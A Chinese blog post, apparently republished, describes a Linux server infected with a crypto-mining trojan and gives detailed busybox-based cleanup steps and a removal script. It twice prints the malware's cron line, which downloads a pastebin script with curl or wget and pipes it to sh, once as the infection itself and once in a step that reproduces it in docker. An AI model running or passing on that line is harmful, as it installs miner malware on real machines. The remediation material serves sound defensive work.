加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 综合聚焦 > 服务器 > Windows > 正文

服务器被植入挖矿木马的心酸过程

发布时间:2020-12-14 02:53:43 所属栏目:Windows 来源:网络整理
导读:转自?https://juejin.im/post/5aa0cc476fb9a028d82b5695 最近打开服务变得很慢,然后 CPU,内存占用有达到了100%,打开网站都很慢,这个肯定很反常的,平时cpu不会达到那么高,因此netstat -ntlp 准备看看端口占用是不是有什么异常,有的会看到cpu暂用情况,

转自?https://juejin.im/post/5aa0cc476fb9a028d82b5695


最近打开服务变得很慢,然后 CPU,内存占用有达到了100%,打开网站都很慢,这个肯定很反常的,平时cpu不会达到那么高,因此netstat -ntlp 准备看看端口占用是不是有什么异常,有的会看到cpu暂用情况,有的不会显示,因为木马屏蔽掉了相关的命令。
好了,不死心。然后我看下定时任务,crontab -l
emmmm,

  1. */15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

这个任务我记得我没有添加定时任务啊,还15分钟执行一次,我的天。
然后我就打算删掉这个定时任务,无论是 crontab -r 还是执行修改定时任务配置文件,都无法删掉这个定时任务

然后网上查下。

直观表现
  • top,ps -ef 无异常进程
  • load average 稳步飙升
  • netstat 命令被删除
  • 尝试建立大量22端口,6379端口的内网连接
  • crontab 被添加定时挖矿脚本,删除无效

传播途径
  • jenkins漏洞(or 弱密码?)侵入
  • 尝试root用户ssh的免密登录
  • 尝试redis内网登录

en,想起前两天jenkins 升级了软件,后来就很卡了系统。

准备过程
获取busybox

因感染病毒后,ls等系统命令会被劫持,需要busybox替代这些系统命令,下面提供从busybox官方docker镜像中提取的静态编译版busybox过程.

  1. docker run --rm -itv /tmp/:/tmp busybox:uclibc
  2. cp /bin/busybox /tmp
  3. exit

宿主机即获取到: /tmp/busybox

复现感染过程(docker环境被root感染模式)
docker与虚拟机环境有区别,病毒行为会受限

  1. docker run --rm -it -v /tmp:/tmp centos:latest
  2. yum install -y crontabs lsof e2fsprogs
  3. (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
使用busybox代替系统命令
  1. busybox top, busybox ps -ef

此busybox为静态编译版,不依赖so库,系统的ls等命令已被通过so库的preload机制被病毒劫持,ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令.

发现比系统命令多两个进程(进程个数跟cpu核数有关),耗尽了所有cpu资源

  1. /tmp/ksoftirqds
  2. /tmp/watchdogs

查杀过程(系统命令已不可信,操作优先采用busybox)

关闭crontab
  1. systemctl stop crond
上传busybox
  1. chmod +x busybox && mv busybox /sbin/
写hosts,屏蔽病毒脚本下载
  1. busybox echo -e "n0.0.0.0 pastebin.comn0.0.0.0 thyrsi.com" >> /etc/hosts
删除,创建,并锁定 crontab相关文件
  1. busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
  2. busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
  3. busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
备份重要的crontab,然后删除cron.d目录的其他文件
  1. busybox rm -rf /etc/cron.d/*
检查并删除下面目录有异常文件
  1. busybox ls /etc/cron.daily
  2. busybox ls /etc/cron.hourly
  3. busybox ls /etc/cron.monthly
  4. busybox ls /etc/cron.weekly
删除病毒相关执行文件和启动脚本
  1. /busybox rm /sbin/watchdogs
  2. /busybox rm /usr/sbin/watchdogs
  3. /busybox rm /etc/init.d/watchdogs
  4. busybox find / -type f -name ‘*watchdogs*‘|busybox xargs rm -f
删除病毒进程
  1. busybox pkill watchdogs
  2. busybox pkill ksoftirqds
  3. 删除被preloadso
  4. busybox rm /usr/local/lib/libioset.so
  5. busybox rm /etc/ld.so.preload
  6. busybox rm /etc/ld.so.cache
  7. 验证libioset.so被卸载
  8. lsof |grep usr/local/lib/libioset.so

无输出,则该动态链接库被卸载,直接执行验证步骤;

有输出,kill掉占用的进程,重复执行该步骤;

若反复执行后无法成功卸载该动态链接库,请执行服务器重启操作.

重启服务器
验证步骤

  1. busybox top # 查看系统负载
  2. crontab -l # 查看是否还有异常任务
  3. busybox chattr -i /etc/cron.d/root # 过一段时间查看是否有异常任务写入

如果这种方式还是没清理掉

提供一份清理脚本:

    1. service crond stop
    2. busybox rm -f /etc/ld.so.preload
    3. busybox rm -f /usr/local/lib/libioset.so
    4. chattr -i /etc/ld.so.preload
    5. busybox rm -f /etc/ld.so.preload
    6. busybox rm -f /usr/local/lib/libioset.so
    7. # 清理异常进程
    8. busybox ps -ef | busybox grep -v grep | busybox egrep ‘ksoftirqds‘ | busybox awk ‘{print $1}‘ | busybox xargs kill -9
    9. busybox ps -ef | busybox grep -v grep | busybox egrep ‘watchdogs‘ | busybox awk ‘{print $1}‘ | busybox xargs kill -9
    10. busybox rm -f /tmp/watchdogs
    11. busybox rm -f /etc/cron.d/tomcat
    12. busybox rm -f /etc/cron.d/root
    13. busybox rm -f /var/spool/cron/root
    14. busybox rm -f /var/spool/cron/crontabs/root
    15. busybox rm -f /etc/rc.d/init.d/watchdogs
    16. busybox rm -f /usr/sbin/watchdogs
    17. ldconfig
    18. # 再次清理异常进程
    19. busybox ps -ef | busybox grep -v grep | busybox egrep ‘ksoftirqds‘ | busybox awk ‘{print $1}‘ | busybox xargs kill -9
    20. busybox ps -ef | busybox grep -v grep | busybox egrep ‘watchdogs‘ | busybox awk ‘{print $1}‘ | busybox xargs kill -9
    21. # 清理开机启动项
    22. chkconfig watchdogs off
    23. chkconfig del watchdogs
    24. service crond start
    25. echo "Done,Please reboot!"

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读